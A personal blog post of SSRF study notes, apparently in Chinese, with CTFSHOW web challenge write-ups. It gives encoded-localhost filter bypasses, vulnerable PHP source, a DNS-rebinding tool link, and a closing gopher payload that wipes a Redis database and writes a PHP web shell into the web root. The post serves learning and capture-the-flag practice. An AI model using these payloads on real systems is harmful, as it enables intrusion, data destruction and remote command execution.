SSRF学习笔记

yansui Lv3

SSRF学习笔记

一、啥事SSRF

服务器端端请求伪造,但是我感觉这更像是一种思路性质的漏洞,所以先做做题吧

做完题了来总结一下学到了哪些东西:

1、SSRF中“本地”请求的表达方式

1
2
3
4
5
6
7
8
9
10
11
12
13
14
http://0x7F.0.0.1
http://0177.0.0.1
http://0.0.0.0
http://0
http://127.127.127.127
http://0x7F.0.0.1
http://2130706433
http://0x7F000001
127.0.0.1写成127.1
用CIDR绕过localhost
http://127.127.127.127
http://0/flag.php
http://0.0.0.0/flag.php
http://sudo.cc

2、什么是DNS重绑定?

https://lock.cmpxchg8b.com/rebinder.html?tdsourcetag=s_pctim_aiomsg

3、对开放的MySQL和Redis端口打SSRF

二、CTFSHOW 题解

Web351

可以直接用file协议做本地文件包含,但是好像没啥用 不知道flag的文件名

需要用本地方式访问flag.php.
payload:

POST url=http://127.0.0.1/flag.php

Web352

好烦 还得等一分钟

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
if(!preg_match('/localhost|127.0.0/')){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
die('hacker');
}
}
else{
die('hacker');
}
?>

preg_match其实没起作用
上一题的pyload直接梭哈了

Web353

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
if(!preg_match('/localhost|127\.0\.|\。/i', $url)){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
die('hacker');
}
}
else{
die('hacker');
}
?>

可以bypass的一些方法

1
2
3
4
5
url=http://0x7F.0.0.1/flag.php   16进制
url=http://0177.0.0.1/flag.php 8进制
url=http://0.0.0.0/flag.php
url=http://0/flag.php
url=http://127.127.127.127/flag.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
十六进制
url=http://0x7F.0.0.1/flag.php
八进制
url=http://0177.0.0.1/flag.php
10 进制整数格式
url=http://2130706433/flag.php
16 进制整数格式,还是上面那个网站转换记得前缀0x
url=http://0x7F000001/flag.php
还有一种特殊的省略模式
127.0.0.1写成127.1
用CIDR绕过localhost
url=http://127.127.127.127/flag.php
url=http://0/flag.php
url=http://0.0.0.0/flag.php

Web354

我发现可以做完一题直接开下一题的靶机 就不用再等一分钟了

上面那道题的payload好像都不行

1
if(!preg_match('/localhost|1|0|。/i', $url)){

过滤的还是有点多的

sudo.cc相当于127.0.0.1

payload1:

POST /
url=http://sudo.cc/flag.php

好像还可以修改自己的域名a记录 但是我只有一个自己的域名,就不整了

Web355

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
$host=$x['host'];
if((strlen($host)<=5)){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
die('hacker');
}
}
else{
die('hacker');
}
?>

试下127.1

payload:

url=http://127.1/flag.php

Web356

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
$host=$x['host'];
if((strlen($host)<=3)){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
die('hacker');
}
}
else{
die('hacker');
}
?>

还剩0

payload:

url=http://0/flag.php

题有点无聊啊

Web357

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
$ip = gethostbyname($x['host']);
echo '</br>'.$ip.'</br>';
if(!filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE)) {
die('ip!');
}
echo file_get_contents($_POST['url']);
}
else{
die('scheme');
}
?>

有关的PHP知识:

在PHP中,FILTER_VALIDATE_IP是一个过滤器常量,用于验证IP地址的有效性。它是用于过滤和验证数据的filter_var函数的一部分,该函数允许您过滤和检验各种类型的数据。
FILTER_VALIDATE_IP用于验证IPv4和IPv6地址的格式是否正确。它检查一个字符串是否为合法的IP地址,并返回true或false来指示验证的结果。

FILTER_FLAG_NO_PRIV_RANGE是PHP中用于FILTER_VALIDATE_IP过滤器的一个选项(flag),它用于限制IP地址不在私有地址范围内。
私有IP地址是保留给局域网和内部网络使用的特殊IP地址,这些地址在公共Internet上是不可路由的。以下是私有IP地址范围:
10.0.0.0 到 10.255.255.255
172.16.0.0 到 172.31.255.255
192.168.0.0 到 192.168.255.255

FILTER_FLAG_NO_RES_RANGE是PHP中用于FILTER_VALIDATE_IP过滤器的另一个选项(flag),它用于限制IP地址不在保留地址范围内。
保留IP地址是指被保留供特定用途或特殊用途的IP地址。这些地址通常不用于公共Internet上的普通通信。以下是保留IP地址的一些范围:
0.0.0.0 到 0.255.255.255
10.0.0.0 到 10.255.255.255
100.64.0.0 到 100.127.255.255
127.0.0.0 到 127.255.255.255
169.254.0.0 到 169.254.255.255
172.16.0.0 到 172.31.255.255
192.0.0.0 到 192.0.0.255
192.0.2.0 到 192.0.2.255
192.88.99.0 到 192.88.99.255
192.168.0.0 到 192.168.255.255
198.18.0.0 到 198.19.255.255
198.51.100.0 到 198.51.100.255
203.0.113.0 到 203.0.113.255
224.0.0.0 到 239.255.255.255

没太看懂DNS重绑定
但是可以直接用网站:https://lock.cmpxchg8b.com/rebinder.html?tdsourcetag=s_pctim_aiomsg

Web358

有关的前置知识:
https://www.cnblogs.com/rainbow-cat/p/15740915.html

题目说

1
2
3
4
5
6
7
8
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if(preg_match('/^http:\/\/ctf\..*show$/i',$url)){
echo file_get_contents($url);
}

所以有paylaod:

POST url=http://ctf.@127.0.0.1/flag.php?show

Web359

工具需要python2环境 还得是conda啊

https://blog.csdn.net/miuzzx/article/details/111992415

抄的wp 下一道题自己动手做一下

Web360

啥是Redis?

Redis是一种开源的内存数据库,通常被称为”键值存储”系统。它是一个高性能、非关系型、基于内存的数据存储系统,可以用来存储键值对(key-value pairs)。Redis最初是由Salvatore Sanfilippo开发的,它的名字来自于”Remote Dictionary Server”(远程字典服务器)的缩写。
Redis的主要作用包括:
缓存:作为缓存层,将经常访问的数据存储在内存中,以加快读取速度,从而减轻后端数据库的负担。这种缓存技术可以显著提高应用程序的性能和响应时间。
数据存储:可以用作持久性数据存储,尤其在数据量较小且需要快速访问的情况下。Redis支持各种数据结构,如字符串、哈希、列表、集合、有序集合等,使得它在许多场景下都有很好的应用价值。
会话存储:在Web应用程序中,可以将用户会话数据存储在Redis中,从而实现分布式、高可用的会话管理,而不是依赖单个服务器上的本地存储。
发布/订阅:Redis支持发布/订阅模式,允许多个客户端通过订阅特定的频道来接收发布者发送的消息。这在消息传递和实时通信方面非常有用。
计数器:由于Redis的高性能和原子操作支持,它非常适合用作计数器,例如在统计应用中用于跟踪页面访问次数、点赞数等。
实时排行榜:利用Redis的有序集合数据结构,可以轻松地创建实时排行榜,用于按分数排序的各种数据。
总的来说,Redis是一个功能强大的数据存储系统,广泛应用于Web应用、移动应用和许多其他场景中,特别适合那些对性能要求较高的应用。需要注意的是,虽然Redis具有出色的读取性能,但它是将数据存储在内存中的,因此在存储大量数据时,需要考虑服务器的内存容量。另外,Redis也提供了持久化选项,可以将数据定期保存到磁盘上,以防止数据丢失。

payload:

1
url=gopher://127.0.0.1:6379/_%252A1%250D%250A%25248%250D%250Aflushall%250D%250A%252A3%250D%250A%25243%250D%250Aset%250D%250A%25241%250D%250A1%250D%250A%252434%250D%250A%250A%250A%253C%253Fphp%2520system%2528%2524_GET%255B%2527cmd%2527%255D%2529%253B%2520%253F%253E%250A%250A%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%25243%250D%250Adir%250D%250A%252413%250D%250A%2Fvar%2Fwww%2Fhtml%250D%250A%252A4%250D%250A%25246%250D%250Aconfig%250D%250A%25243%250D%250Aset%250D%250A%252410%250D%250Adbfilename%250D%250A%25249%250D%250Ashell.php%250D%250A%252A1%250D%250A%25244%250D%250Asave%250D%250A%250A

要等一会写shell进去就可以RCE了

  • 标题: SSRF学习笔记
  • 作者: yansui
  • 创建于: 2023-08-03 23:39:11
  • 更新于: 2023-08-03 23:39:24
  • 链接: http://yansui.xyz/2023/08/03/SSRF/
  • 版权声明: 本文章采用 CC BY-NC-SA 4.0 进行许可。
 评论